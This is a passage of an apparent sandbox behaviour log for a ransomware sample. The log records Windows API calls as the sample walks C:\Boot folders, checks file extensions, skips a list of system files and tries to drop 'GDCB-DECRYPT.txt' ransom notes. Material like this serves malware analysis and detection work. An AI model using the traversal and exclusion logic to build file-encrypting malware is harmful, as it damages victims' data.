lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0169.473] lstrcatW (in: lpString1="C:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0169.473] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.473] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.473] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.473] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0169.473] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0169.473] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.473] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.473] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.473] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.473] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.473] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0169.473] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0169.473] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.473] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.473] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.474] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.474] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt" [0169.474] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0169.474] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.474] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.474] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.474] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.474] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0169.474] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0169.474] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.474] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.474] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.474] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.474] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt") returned 31 [0169.474] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fi-fi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.474] GetLastError () returned 0x50 [0169.474] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.474] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0169.474] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0169.474] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.474] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.474] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.474] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.474] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.474] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.474] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.474] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.474] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0169.475] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.475] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0169.475] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0169.475] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.475] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.475] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.475] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt" [0169.475] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.475] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0169.475] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0169.475] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0169.475] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.475] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.475] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.475] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.475] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0169.475] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.476] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0169.476] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0169.476] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.476] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.476] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.476] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0169.476] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0169.476] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0169.476] lstrcatW (in: lpString1="C:\\Boot\\Fonts", lpString2="\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0169.476] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.476] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.476] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0169.476] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0169.476] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4a18 [0169.477] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0169.477] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0169.477] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0169.477] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0169.477] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0169.477] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.477] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.477] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0169.477] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0169.477] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0169.477] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0169.477] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.478] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.478] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0169.478] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0169.478] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0169.478] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0169.478] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.479] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.479] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0169.479] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0169.479] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0169.479] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0169.479] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0169.479] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.479] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.479] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.479] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt") returned 31 [0169.479] CreateFileW (lpFileName="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fonts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.481] GetLastError () returned 0x50 [0169.481] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.481] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0169.481] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0169.481] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4c18 [0169.481] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.481] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.481] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.481] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.481] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.481] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0169.481] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0169.482] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0169.482] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.482] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0169.482] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0169.482] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.482] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.482] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0169.482] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0169.482] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0169.482] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.482] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0169.482] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0169.482] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.482] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.482] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.482] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.482] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt" [0169.482] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.482] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0169.482] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0169.483] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0169.483] lstrlenW (lpString="C:\\Boot\\Fonts\\GDCB-DECRYPT.txt") returned 30 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.483] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.483] 